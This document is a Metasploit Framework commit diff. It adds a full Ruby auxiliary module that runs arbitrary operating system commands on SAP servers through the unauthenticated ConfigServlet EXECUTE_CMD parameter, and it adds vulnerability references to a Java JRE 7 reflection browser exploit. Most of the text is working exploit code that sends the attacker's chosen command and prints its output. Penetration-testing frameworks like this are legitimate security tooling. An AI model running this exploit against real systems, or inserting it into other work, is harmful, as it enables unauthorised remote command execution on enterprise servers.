Landing rapid7#1753 - Updates references for java_jre17_reflection_types

Author: wchen-r7

modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb

@@ -0,0 +1,72 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'            => 'SAP ConfigServlet OS Command Execution',
+			'Description'     => %q{
+					This module allows execution of operating system commands through the SAP
+				ConfigServlet without any authentication.
+			},
+			'Author'          =>
+				[
+					'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
+					'Andras Kabai' # Metasploit module
+				],
+			'License'         => MSF_LICENSE,
+			'References'      =>
+				[
+					[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'],
+					[ 'EDB', '24963' ]
+				],
+			'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
+		))
+
+		register_options(
+			[
+				Opt::RPORT(50000),
+				OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
+				OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
+			], self.class)
+	end
+
+	def run
+		begin
+			print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
+			uri = normalize_uri(target_uri.path, 'ConfigServlet')
+
+			res = send_request_cgi(
+				{
+					'uri' => uri,
+					'method' => 'GET',
+					'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text::uri_encode(datastore['CMD'])
+				})
+			if !res or res.code != 200
+				print_error("#{rhost}:#{rport} - Exploit failed.")
+				return
+			end
+		rescue ::Rex::ConnectionError
+			print_error("#{rhost}:#{rport} - Failed to connect to the server")
+			return
+		end
+
+		if res.body.include?("Process created")
+			print_good("#{rhost}:#{rport} - Exploited successfully\n")
+			print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
+			print_line("#{rhost}:#{rport} - Output: #{res.body}")
+		else
+			print_error("#{rhost}:#{rport} - Exploit failed.")
+			vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
+		end
+	end
+end

modules/exploits/multi/browser/java_jre17_reflection_types.rb

@@ -36,8 +36,12 @@ def initialize( info = {} )
 				],
 			'References'    =>
 				[
+					[ 'CVE', '2013-2423' ],
+					[ 'OSVDB', '92348' ],
+					[ 'BID', '59162' ],
 					[ 'URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0' ],
-					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html' ]
+					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html' ],
+					[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/b453d9be6b3f' ]
 				],
 			'Platform'      => [ 'java', 'win', 'osx', 'linux' ],
 			'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },